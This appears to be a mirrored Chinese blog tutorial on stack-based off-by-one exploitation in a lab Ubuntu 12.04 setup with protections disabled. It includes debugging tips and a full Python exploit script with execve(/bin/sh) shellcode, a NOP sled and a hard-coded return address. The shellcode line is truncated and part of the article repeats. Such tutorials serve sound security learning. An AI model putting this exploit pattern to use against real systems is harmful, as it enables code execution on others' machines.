zoukankan      html  css  js  c++  java
  • Linux Exploit系列之三 Off-By-One 漏洞 (基于栈)

    Off-By-One 漏洞 (基于栈)

    原文地址:https://bbs.pediy.com/thread-216954.htm

    什么是off by one?

    将源字符串复制到目标缓冲区可能会导致off by one

    1、源字符串长度等于目标缓冲区长度。

    当源字符串长度等于目标缓冲区长度时,单个NULL字节将被复制到目标缓冲区上方。这里由于目标缓冲区位于堆栈中,所以单个NULL字节可以覆盖存储在堆栈中的调用者的EBP的最低有效位(LSB),这可能导致任意的代码执行。

    一如既往的充分的定义,让我们来看看off by one的漏洞代码!

    懒得粘贴了,还是看原文吧,仅对部分作出解释。

    这篇全文解释的都特别清楚,我仅说下我调试过程中遇到的坑。

    首先是这个使用的是core文件调试,编译选项gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o vuln vuln.c

    请注意没有使用-g选项,那么就不是debug模式,没有debug模式,调试的时候就没办法在源码上下断,所以只能使用core文件进行。

    使用core文件调试的办法,作者也给出来了,但是我运行Python exp.py后,却没有core文件。经过查询资料,使用ulimit -c命令查询后,发现值为0,原来是系统默认(?)不允许创建core文件,修改限制,使用ulimit -c 1000修改

    修改后,正常的生成了core文件。

    还有一个比较坑的点是,gdb调试出的buf地址和真正运行的release版本的buf地址并不相同,偏移也有变化,需要特别注意。

    还是老规矩,分享下我调试成功的exp.py文件

     1 #exp.py
     2 #!/usr/bin/env python
     3 import struct
     4 from subprocess import call
     5 
     6 #Spawn a shell. 
     7 #execve(/bin/sh) Size- 28 bytes.
     8 scode = "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89$
     9 
    10 ret_addr = 0xbffff426
    11 
    12 #endianess conversion
    13 def conv(num):
    14  return struct.pack("<I",num)#turn Address + NOP's + Shellcode + J$
    15 buf = "A" * 68
    16 buf += conv(ret_addr)
    17 buf += "x90" * 30
    18 buf += scode
    19 buf += "A" * 126
    20 
    21 print "Calling vulnerable program"
    22 call(["./vuln", buf])

    Off-By-One 漏洞 (基于栈)

    虚拟机安装:Ubuntu 12.04(x86)

    什么是off by one?

    将源字符串复制到目标缓冲区可能会导致off by one

    1、源字符串长度等于目标缓冲区长度。

    当源字符串长度等于目标缓冲区长度时,单个NULL字节将被复制到目标缓冲区上方。这里由于目标缓冲区位于堆栈中,所以单个NULL字节可以覆盖存储在堆栈中的调用者的EBP的最低有效位(LSB),这可能导致任意的代码执行。

    一如既往的充分的定义,让我们来看看off by one的漏洞代码!

    漏洞代码:

  • 相关阅读:
    ubuntu 14.4 apache2 django
    github上的版本和本地版本冲突的解决方法
    Javascript能做什么 不能做什么。
    django 取model字段的verbose_name值
    Django在admin模块中显示auto_now_add=True或auto_now=True的时间类型列
    合并多个python list以及合并多个 django QuerySet 的方法
    摘抄
    Python 字符串拼接
    学习HTTP
    Django 自定义模板标签和过滤器
  • 原文地址:https://www.cnblogs.com/jourluohua/p/8994209.html
Copyright © 2011-2022 走看看